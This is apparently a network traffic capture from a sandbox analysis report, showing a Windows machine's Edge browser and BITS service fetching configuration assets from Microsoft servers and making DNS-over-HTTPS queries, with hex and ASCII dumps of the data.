2024-09-01 03:08:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-01 03:08:51 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49766	13.107.246.60	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:22 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 03:09:22 UTC	559	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:22 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Fri, 23 Aug 2024 00:10:35 GMT ETag: 0x8DCC30802EF150E x-ms-request-id: 903262f1-801e-001b-4826-f94695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T030922Z-16579567576xfl5xzh7yws029s00000005rg00000000dbxt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-09-01 03:09:22 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49767	13.107.246.60	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:22 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 03:09:22 UTC	583	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:22 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 02 Aug 2024 18:10:35 GMT ETag: 0x8DCB31E67C22927 x-ms-request-id: 66f87118-601e-001a-2116-f94768000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T030922Z-165795675766wv96mecap1swx400000005x0000000005q9h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-09-01 03:09:22 UTC	15801	IN	Data Raw: 1f 8b 08 08 1a 21 ad 66 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: !fasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-09-01 03:09:22 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-09-01 03:09:22 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-09-01 03:09:22 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-09-01 03:09:22 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49774	162.159.61.3	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:23 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:23 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:23 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:23 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc20faf9d4032e4-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:23 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 84 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49776	172.64.41.3	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:23 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:23 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:23 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:23 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc20fafbecb4276-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:23 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 95 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49775	172.64.41.3	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:23 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:23 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:23 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:23 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc20faf9d7b8c71-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:23 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fb 28 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom%(c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49777	172.64.41.3	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:23 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:23 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:23 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:23 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc20faf9dda19ef-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:23 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 02 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49778	172.64.41.3	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:23 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:23 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:23 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:23 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc20fb03db78c4e-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:23 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49779	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-01 03:09:24 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=221776 Date: Sun, 01 Sep 2024 03:09:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49783	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-01 03:09:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=221775 Date: Sun, 01 Sep 2024 03:09:25 GMT Content-Length: 55 Connection: close X-CID: 2
